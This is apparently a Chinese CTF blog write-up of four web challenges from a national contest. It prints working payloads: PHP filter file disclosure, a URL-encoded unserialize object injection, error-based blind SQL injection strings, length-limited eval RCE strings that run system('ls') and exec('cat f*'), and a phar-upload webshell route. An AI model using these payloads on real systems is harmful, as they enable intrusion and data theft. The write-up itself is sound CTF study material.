之前说好高产一波碰上期末就失败了Orz,赶紧补一下四月底的国赛
JustSoSo
算是一道简单的题
首先F12发现提示
于是filer协议一波获得源码
1 | ?file=php://filter/read=convert.base64-encode/resource=index.php |
先读一下index.php
1 | <?php |
可以看到不允许我们直接用file参数读取flag文件,那flag八成在flag.php或者flag.txt
然后又对payload参数进行了flag的过滤,不过parse_url($_SERVER[‘REQUEST_URI’])我们可以通过在域名后用///使得处理后的值为false从而绕过检查
最后将payload反序列化,那应该就是要通过这里拿flag了
然后读hint.php
1 | <?php |
在Flag类的getFile方法有一处读取文件,那应该就是要通过这里拿flag了。不过前面要绕过token与token_flag的对比,这里用不了弱类型,不过我们可以用引用。类似与C++里的指针,不过php里用得太少就没想到。
绕过这个后,看到Handle类里的析构方法,会调用handle属性的getFlag()方法,那就是要把handle属性设为Flag类。然后绕过那个__wakeup()方法只要修改一下序列化后的类的属性数量就ok
于是拿hint.php构造一波
1 | $f = new Flag('flag.php'); |
Payload:
1 | ?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22bf1b2f4b901c21a1d8645018ea9aeb05%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D |
然而我在本地试了无数次都不行,查了一堆才发现我的php5版本为5.6.28,然而这个漏洞在php5要在5.6.25一下,php7要在7.0.10【吐血ing
全宇宙最简单的SQL
这题不太好复现,当时做的时候大概就是fuzz出了if or sleep when case
这些常用的字符。布尔和时间盲注是不太行了,于是尝试报错盲注,发现exp没被过滤,那接下来就是一顿操作了
' union select (select((ascii(substr(database(),1,1))=96)))*999*pow(999,102)#
成功跑出数据库名和user(),但由于过滤了or,information_schema库访问不了,mysql库也缺权限。虽然列可以不用知道,但不能没表名,只能靠猜了,不过表名确实也很“弱表名”——user
于是
1 | ' union select (select((ascii(substr((select(select d.1 from (select * from (select 1)b,(select 2)c union select * from user)d limit 1 offset 2)e),1,1))=96)))*999*pow(999,102)# |
成功,于是脚本跑一波得到密码,进去后是个mysql扫描器,和ddctf那题一样,部署一下伪装的mysql服务器然后让扫描器去扫就能获取任意文件了
【这题当时做时用了locate()没区分大小写一直登不进去到自闭orz
love_math
一道非常硬核的题目,各种奇淫技巧都用上了
先读源码
1 | <?php |
可以看到对参数c限制了长度小于80,同时过滤了一些常用的字符,然后只允许所有存在的字符串都要时白名单中的字符串
最后一个eval,一看要利用的地方就是这里
先想办法用system('ls')
跑出目录来
看白名单列表,只有base_convert和hexdec是能将数字转成字符串的。base_convert能将字符在36进制内随意转换,那就利用这个
先试一下system在哪个进制下长度最短
1 | <?php |
发现比较适合的是9进制(转化后全为数字)。
然后试ls发现在21进制下最适合
接着是一波echo的奇淫技巧,我们可以用echo ($a=1);输出同时给a赋值。然后在php7下我们还可以echo ($a=function)();执行一个函数。这样我们可以用一个短变量名代替base_convert简短字符量。于是我们拿最短的pi作为变量名
?c=($pi=base_convert)(3833484266,9,35)($pi(197,21,29))
一波跑出目录
于是尝试system(‘cat flag.txt’)
这里.单用给的函数是解决不了的,但我们可以用base_convert构造出任意函数,于是选用hex2bin来转标点符号
于是还是先测hex2bin的长度,在14进制下是比较适合的。但是转后的字符还是有个a,于是又要改进制,但这里没必要用base_convert(太长了),用dechex就ok。然后构造一波,发现长度大过80,接着尝试构造system('cat *')
,正好是80位,还是用不了
于是改个方向不用system,用更短的exec。但exec只能读最后一行,于是我们要构造的是exec('cat f*')
再跑一波发现exec使用23进制比较适合,然后就是一波操作构造出payload
?c=($pi=base_convert)(22950,23,34)($pi(1438255411,14,34)(dechex(109270211257898)))
正好79位,稳
这题其实还可以_GET,system,getallheaders 或者 readfile这些函数,然后利用php7才有的{}去传入数据
RefSpace
挺综合的题吧,这题因为本地环境用的是5.6所以改了一些代码,然后没做FlanSDK的全局引入所以脚本基本都会多一句引入
首先访问,可以看到明显的文件包含
于是一波操作把能搞到的代码搞下来
index.php
php://filter/read=convert.base64-encode/resource=index
1 | <?php |
app/flag.php
php://filter/read=convert.base64-encode/resource=app/flag
1 | <?php |
app/index.php
php://filter/read=convert.base64-encode/resource=app/index
1 | <?php |
可以看到flag.php处引入了一个FlagSDK类,进行了一系列操作后就能得到flag
继续摸,访问robots.txt发现app/Up10aD.php
于是拿一波源码
1 | <?php |
只能上传gif和jpg
这里由于前面有一个文件包含,于是尝试一下phar协议
使用phar协议我们可以将脚本打包进一个phar包,然后就算修改为不同后缀名,但只要是通过phar协议去访问,依旧可以访问到我们的目标脚本。原因也很简单,打包成phar包的过程实际上是个序列化的过程,然后访问则是一个反序列化的过程,于是就算不是phar后缀也没关系
于是上一句话
1 | <?php |
然后打包成phar包,上传,访问读目录
?route=phar://upload/eval.jpg.jpg/eval&cmd=print_r(scandir("."));
发现flag.txt,不过原题中是加密的,这里也就不从这拿flag。然后有个backup.zip,下下来解压看看
给了我们刚刚不知道的FlagSDK中处理的操作
于是尝试去访问一下getHash()
1 | <?php |
报错,这个getHash居然是个私有方法,这就触及到我的知识盲区了Orz
于是各种查,找到了php中有个反射类,可以通过这个类去获取目标类的信息,甚至可以类外调用私有方法,牛逼啊【不过这也造成了很大的安全问题呀
PHP的反射类ReflectionClass、ReflectionMethod使用实例
于是一波操作
1 | <?php |
这里newInstanceArgs是实例化类,getmethod是指向要调用的方法,setAccessible设置权限,invoke执行
拿到hash
然后再重写一下sha1方法,这里记得要设置命名空间,不然会直接去调用原生的sha1方法
1 | <?php |
拿到flag